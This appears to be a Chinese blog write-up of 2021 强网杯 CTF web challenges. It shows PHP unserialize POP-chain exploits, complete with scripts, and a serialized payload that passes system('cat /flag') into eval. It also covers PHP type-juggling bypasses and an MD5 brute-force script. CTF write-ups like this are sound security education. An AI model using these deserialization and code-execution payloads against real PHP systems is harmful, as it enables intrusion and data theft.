2021 强网杯

2021 强网杯

[强网先锋]赌徒

image-20210612145424180

获取源码

首先是提示我们需要获取源码,扫描目录发现有www.zip,下载即可获得原码。

源码:

<meta charset="utf-8">
<?php
//hint is in hint.php
error_reporting(1);


class Start
{
    public $name='guest';
    public $flag='syst3m("cat 127.0.0.1/etc/hint");';

    public function __construct(){
        echo "I think you need /etc/hint . Before this you need to see the source code";
    }

    public function _sayhello(){
        echo $this->name;
        return 'ok';
    }

    public function __wakeup(){
        echo "hi";
        $this->_sayhello();
    }
    public function __get($cc){
        echo "give you flag : ".$this->flag;
        return ;
    }
}

class Info
{
    private $phonenumber=123123;
    public $promise='I do';

    public function __construct(){
        $this->promise='I will not !!!!';
        return $this->promise;
    }

    public function __toString(){
        return $this->file['filename']->ffiillee['ffiilleennaammee'];
    }
}

class Room
{
    public $filename='/flag';
    public $sth_to_set;
    public $a='';

    public function __get($name){
        $function = $this->a;
        return $function();
    }

    public function Get_hint($file){
        $hint=base64_encode(file_get_contents($file));
        echo $hint;
        return ;
    }

    public function __invoke(){
        $content = $this->Get_hint($this->filename);
        echo $content;
    }
}

if(isset($_GET['hello'])){
    unserialize($_GET['hello']);
}else{
    $hi = new  Start();
}

?>

一看就是一道PHP反序列化的题目。

构造POP链

首先从unserialize()函数开始看,寻找哪里有可以利用的魔法方法,发现Start类下有__wakeup()魔法方法,这个魔法方法又调用了_sayhello()这个方法,再这个方法里面通过echo$name这个属性输出,既然是将属性输出,那么就可以利Info类里面的__toString()魔法方法,然后这个方法又返回一个不存在的属性,这样我们可以利用Room类里面的_get()魔法方法,_get()方法又返回一个别的方法,那么我们可以让其返回一个类,就可以利用到__invoke()这个魔法方法,这个魔法方法会调用Get_hint()方法,并返回flag的值。

poc:

<?php
class Start
{
    public $name='guest';
    public $flag='syst3m("cat 127.0.0.1/etc/hint");';   
}

class Info
{
    private $phonenumber=123123;
    public $promise='I do';    
}

class Room
{
    public $filename='/flag';
    public $sth_to_set;
    public $a='';    
}
$s = new Start();
$i = new Info();
$r = new Room();
$s->name = $i;
$i->file['filename'] = $r;
$r->a = $r;
echo urlencode(serialize($s));

pop_master

源码:

<?php
include "class.php";
//class.php.txt
highlight_file(__FILE__);
$a = $_GET['pop'];
$b = $_GET['argv'];
$class = unserialize($a);
$class->GZXLOm($b);

提示class.php.txt中有东西。

访问之后是后台文件,有16万行的各个类,看来是构造POP链进行反序列化利用。

我们可以看到有些类的方法利用用到了eval()函数,这意味着我们可以利用之,现在的目标就是找到一条能够利用达到用了eval()函数方法的POP链。

构造POP链

  • 首先仔细观察类的规律,得知类的名字都是6个字符,类里面的属性都是7个字符,方式都是6个字符,方法传入的参数都是5个字符。
  • 同时还注意到一些了类里面有一些简单的if()函数来控制属性的值,这里我们需要先把if()函数执行之后的属性值拿到。
  • 之后就是在每一个类中找到含有eval()函数的方法,并从给定的出发函数中开始构造POP链。

EXP:(oatmael师傅的脚本)

import re
classPop = []
funcPop = []
array = []

def deleteIfAndFor(f):
    text = f.read()
    s = re.findall("(if\((\d+)>(\d+)\){([\w\W]+?)})", text)
    for i in s:
        if int(i[1]) < int(i[2]):
            text = text.replace(i[0], "")
        else:
            text = text.replace(i[0], i[3].strip())
    s = re.findall("(for\(\$i = 0; \$i < (\d+); \$i \+\+\){([\w\W]+?)})", text)
    for i in s:
        if int(i[1]) == 0:
            text = text.replace(i[0], "")
        else:
            text = text.replace(i[0], i[2].strip())
    with open("result.txt", "w") as g:
        g.write(text)

def search(key):
    # func 入栈
    funcPop.append(key)
    for i in array:
        if i.find("function " + key) != -1:
            # class入栈
            classPop.append(re.findall(r'class\s([a-zA-Z0-9_]{6})', i)[0])
            tmp = fr'public\sfunction\s{key}' + '\(\$[a-zA-Z0-9]{5}\)\{[\w\W]*?\}\n'
            # 提取调用方法
            func = re.findall(tmp, i)
            # 进行过滤,如果传入的参数被顶掉,直接返回
            tmp2 = fr'public\sfunction\s{key}' + '\(\$([a-zA-Z0-9]{5})\)\{[\w\W]*?\}\n'
            e = re.findall(tmp2, i)
            tmp3 = fr'{e[0]}\s*?=\s*?'
            if (re.findall(tmp3, func[0]).__len__() > 0) and (func[0].find(".") == -1):
                classPop.pop()
                return
            # 检测是否存在eval,如果存在则打印classPop
            if func[0].find('eval') != -1:
                # print(classPop)
                print(funcPop)
            # 提取调用链
            nextFunc = re.findall(r'\$this->[a-zA-Z0-9]{7}->([a-zA-Z0-9]{6})\(\$[a-zA-Z0-9]{5}\);', func[0])
            # 遍历所有func
            for j in nextFunc:
                search(j)
                # func 出栈
                funcPop.pop()
            # class 出栈
            classPop.pop()

if __name__ == "__main__":
    # f = open("./class.php", "r+")
    # deleteIfAndFor(f)
    # f.close()
    f = open("./result.txt", "r+")
    content = f.read()
    array = re.findall(r'class\s[a-zA-Z0-9_]+{[\w\W]*?}\n\n', content)
    search("GZXLOm")

这样就能够获得一条能够调用eval()函数的POP链的方法数组。

接着再将这些方法所属于的类进行构造称为POP链,并进行序列化:(这里是小雷师傅的脚本)

import re

#这里改成上面导出来的result.txt
f = open(r"./result.txt", "r+")
content = f.read()
array = re.findall(r'class\s[a-zA-Z0-9_]+{[\w\W]*?}\n\n', content)
f.close()

# 这里是选取的function链,上面跑出来的
arr = ['GZXLOm', 'XgxngX', 'oBSzQX', 'HV0yLo', 'vnCfog', 'VG9sLZ', 'PXox1p', 'BohTge', 'K41WPn', 'HMPYt1', 'RoZmMh', 'uVNELd', 'SSGB2G', 'hGWimh', 'OOMm2z', 'P24KLA', 'aX3lf6', 'sRu1cT', 'XYSgHH', 'BlKGxg', 'EgozKx', 'cycF90', 'ZUw4Em', 'CQ0TlH']
clas= []
publi = []
for i in arr:
    for z in array:
        if z.find("function " + i) != -1:
            classname = re.findall(r'class\s([a-zA-Z0-9_]{6})', z)[0]
            publicname = re.findall(r'public \$([a-zA-Z0-9_]{7})', z)[0]
            clas.append(classname)
            publi.append(publicname)
            a = "$"+classname.lower()+" = new "+classname+"();\n\n"
#将生成的反序列化代码写入文件
            with open(r"./result2.txt", "a") as g:
                g.write(z)
                g.write(a)
length = len(clas)
for i in range(length-1):
    str = "$"+clas[i].lower()+"->"+publi[i]+" = "+"$"+clas[i+1].lower()+";\n"
    with open(r"./result2.txt", "a") as g:
        g.write(str)
with open(r"./result2.txt", "a") as g:
    g.write("echo serialize($"+clas[0].lower()+");")

这样就生成了一个PHP的POP链,运行即可得到payload:

?pop=O:6:%22afgVOa%22:1:{s:7:%22pFv4P6h%22;O:6:%22Ql5VmF%22:1:{s:7:%22g8HOk9V%22;O:6:%22chA5Fn%22:1:{s:7:%22otwpbVo%22;O:6:%22gAkFiw%22:1:{s:7:%22oRHFPYa%22;O:6:%22MFN4wU%22:1:{s:7:%22G4xtIs3%22;O:6:%22QD7fbn%22:1:{s:7:%22X9UgDw8%22;O:6:%22kc5GIb%22:1:{s:7:%22FwgzMqO%22;O:6:%22g60e4M%22:1:{s:7:%22ugCuicB%22;O:6:%22HGoUu9%22:1:{s:7:%22zQGCNvP%22;O:6:%22p6Wdh7%22:1:{s:7:%22hihMXZ1%22;O:6:%22mCC2yX%22:1:{s:7:%22pRAW6dl%22;O:6:%22HmwgRZ%22:1:{s:7:%22yeev0Hv%22;O:6:%22Ml6WaF%22:1:{s:7:%22zSU70PG%22;O:6:%22GtXVZL%22:1:{s:7:%22CIZSEWY%22;O:6:%22KvMRXs%22:1:{s:7:%22x4UfFk4%22;O:6:%22LZB7hm%22:1:{s:7:%22YaCexVd%22;O:6:%22AUEgxl%22:1:{s:7:%22ilVVD9n%22;O:6:%22Wt7dZY%22:1:{s:7:%22iLrZPeh%22;O:6:%22Mu9nQY%22:1:{s:7:%22qTI9WOZ%22;O:6:%22OmBhdU%22:1:{s:7:%22HBdH9cw%22;O:6:%22g2HnFD%22:1:{s:7:%22lg3meeT%22;O:6:%22PqCdYo%22:1:{s:7:%22kKD77Lt%22;O:6:%22Go6Y2S%22:1:{s:7:%22oIGlyA9%22;O:6:%22NiglI6%22:1:{s:7:%22SGHKNuY%22;N;}}}}}}}}}}}}}}}}}}}}}}}}&argv=system(%27cat%20/flag%27);//

值得一提的是由于我们输入在eval()函数里面的参数有可能会在后面拼接上别的字符,因此这里要使用;//进行注释掉。

[强网先锋]赌徒

image-20210612211743582

这一题有2个key,也就是说要解2道小题。

key1

源码:

<?php
header('Content-type:text/html;charset=utf-8');
error_reporting(0);
highlight_file(__file__);


function filter($string){
        $filter_word = array('php','flag','index','KeY1lhv','source','key','eval','echo','\$','\(','\.','num','html','\/','\,','\'','0000000');
        $filter_phrase= '/'.implode('|',$filter_word).'/';
        return preg_replace($filter_phrase,'',$string);
    }


if($ppp){
    unset($ppp);
}
$ppp['number1'] = "1";
$ppp['number2'] = "1";
$ppp['nunber3'] = "1";
$ppp['number4'] = '1';
$ppp['number5'] = '1';

extract($_POST);

$num1 = filter($ppp['number1']);        
$num2 = filter($ppp['number2']);        
$num3 = filter($ppp['number3']);        
$num4 = filter($ppp['number4']);
$num5 = filter($ppp['number5']);    


if(isset($num1) && is_numeric($num1)){
    die("非数字");
}

else{

    if($num1 > 1024){
    echo "第一层";
        if(isset($num2) && strlen($num2) <= 4 && intval($num2 + 1) > 500000){
            echo "第二层";
            if(isset($num3) && '4bf21cd' === substr(md5($num3),0,7)){
                echo "第三层";
                if(!($num4 < 0)&&($num4 == 0)&&($num4 <= 0)&&(strlen($num4) > 6)&&(strlen($num4) < 8)&&isset($num4) ){
                    echo "第四层";
                    if(!isset($num5)||(strlen($num5)==0)) die("no");
                    $b=json_decode(@$num5);
                        if($y = $b === NULL){
                                if($y === true){
                                    echo "第五层";
                                    include 'KeY1lhv.php';
                                    echo $KEY1;
                                }
                        }else{
                            die("no");
                        }
                }else{
                    die("no");
                }
            }else{
                die("no");
            }
        }else{
            die("no");
        }
    }else{
        die("no111");
    }
}


非数字

这一题是考PHP特性,

科学计数法绕过

首先看第一层,考的是用科学计数法绕过,这了需要一个长度不大于4且数值+1之后大于500000的数,那么用2e25绕过即可。

md5爆破

第二层是需要我们进行md5爆破出前7个是指定字符的数,写个简单的脚本即可。

import hashlib
a = 1
while a < 999999999:
    md5 = hashlib.md5((str(a)).encode()).hexdigest()
    if "4b***cd" == md5[:7]:
        print(a)
        break
    a += 1

科学计数法绕过弱类型比较

第三层需要我们传一个又要不小于0,又要大于0,又小于等于0,而且长度还大于6的数字,这里就又需要用到科学计数法。

$a = 0e00001;
var_dump(!($a<0));    //bool(true)
var_dump($a == 0);    //bool(true)
var_dump($a <= 0);    //bool(true)

json_decode()函数特性

json_decode()函数是用于对json格式的字符进行解码的一个函数,当我们给他传入一个格式不对的字符时,它就会返回NULL

$bad_json = "{ 'bar': 'baz' }";
json_decode($bad_json); // null

同时,比较运算符比赋值运算符的优先度要高,因此会先进行比较运算返回true,再赋值给$y

key2

key2是一个有很多文件的压缩包,既然题目是寻宝,那么就是在这堆垃圾里面寻找key,写个脚本找即可。

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇